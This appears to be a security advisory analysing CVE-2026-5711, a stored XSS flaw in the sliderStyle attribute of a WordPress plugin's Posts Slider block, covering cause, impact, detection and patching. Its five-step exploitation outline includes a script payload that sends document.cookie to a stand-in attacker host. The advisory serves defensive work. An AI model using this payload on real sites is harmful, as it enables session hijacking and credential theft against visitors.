CVE-2026-5711: 
WordPress vulnerability analysis and mitigation

CVE-2026-5711 is a Stored Cross-Site Scripting (XSS) vulnerability in the Post Blocks & Tools plugin for WordPress, affecting all versions up to and including 1.3.0. The flaw exists in the sliderStyle block attribute of the Posts Slider block due to insufficient input sanitization and output escaping on user-supplied attributes. It was published on April 8, 2026, with a patch released in version 1.3.1. The vulnerability carries a CVSS v3.1 base score of 6.4 (Medium) (GitHub Advisory, Wordfence).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically insufficient sanitization and output escaping of the sliderStyle attribute in the Posts Slider block (located in src/blocks/posts/slider/view.php, line 237 in version 1.3.0). An authenticated attacker with at minimum author-level WordPress access can supply a malicious value for the sliderStyle attribute when creating or editing a post containing the Posts Slider block, embedding arbitrary JavaScript that is then stored in the database and rendered unsanitized to all subsequent page visitors. No user interaction is required on the victim's part beyond simply visiting the affected page (GitHub Advisory, Wordfence).

Successful exploitation allows injected scripts to execute in the browsers of all users who visit a compromised page, enabling session hijacking, credential theft, unauthorized actions performed on behalf of victims, and potential malware distribution. Because the payload is stored server-side, every visitor to an affected page is at risk without any further attacker interaction. The scope change in the CVSS score reflects that the impact extends beyond the attacker's own session to affect other users' browsers (GitHub Advisory, Wordfence).

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation at this time. The EPSS score is approximately 0.032–0.042%, placing it in the 13th percentile for exploitation likelihood within 30 days. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access at the author level or above, which limits the attack surface compared to unauthenticated vulnerabilities (GitHub Advisory, Wordfence).

1. Gain Author-Level Access: Obtain or compromise a WordPress account with at least author-level privileges on a site running Post Blocks & Tools plugin version 1.3.0 or earlier.
2. Create or Edit a Post: Navigate to the WordPress editor and create a new post or edit an existing one that includes the Posts Slider block.
3. Inject Malicious Payload: Set the sliderStyle block attribute to a crafted value containing an XSS payload (e.g., "><script>document.location='https://attacker.com/steal?c='+document.cookie</script>) by manipulating the block's attributes directly via the block editor or the underlying post content.
4. Publish the Post: Save and publish the post, causing the malicious payload to be stored in the WordPress database.
5. Trigger Execution: Any user (including administrators) who visits the published page will have the injected script execute in their browser, enabling session hijacking, credential theft, or further malicious actions (GitHub Advisory, Wordfence).

• File System: Unexpected or suspicious content in the sliderStyle attribute within post content stored in the WordPress database (wp_posts table); review post content for <script> tags or encoded JavaScript within Posts Slider block markup.
• Logs: WordPress access logs showing POST requests to wp-admin/post.php or the REST API (/wp-json/wp/v2/posts) from author-level accounts containing script tags or JavaScript event handlers in the request body.
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages containing the Posts Slider block; unusual cookie or credential exfiltration traffic.
• Application: Pages containing the Posts Slider block that render unexpected JavaScript or iframes when viewed in a browser; use of browser developer tools to inspect rendered HTML for unsanitized sliderStyle attribute values (GitHub Advisory).

Update the Post Blocks & Tools (bnm-blocks) plugin to version 1.3.1 or later, which addresses the insufficient sanitization of the sliderStyle attribute in the Posts Slider block. As an interim measure, restrict author-level and above access to trusted users only, and audit all existing posts using the Posts Slider block for suspicious sliderStyle attribute values. Deploying a Web Application Firewall (WAF) capable of detecting stored XSS patterns can provide an additional layer of defense while updates are applied (GitHub Advisory, Wordfence).

Wordfence included CVE-2026-5711 in their weekly WordPress vulnerability report for April 6–12, 2026, as part of routine plugin vulnerability tracking. No significant independent researcher commentary or broader media coverage has been identified for this moderate-severity vulnerability (Wordfence Blog).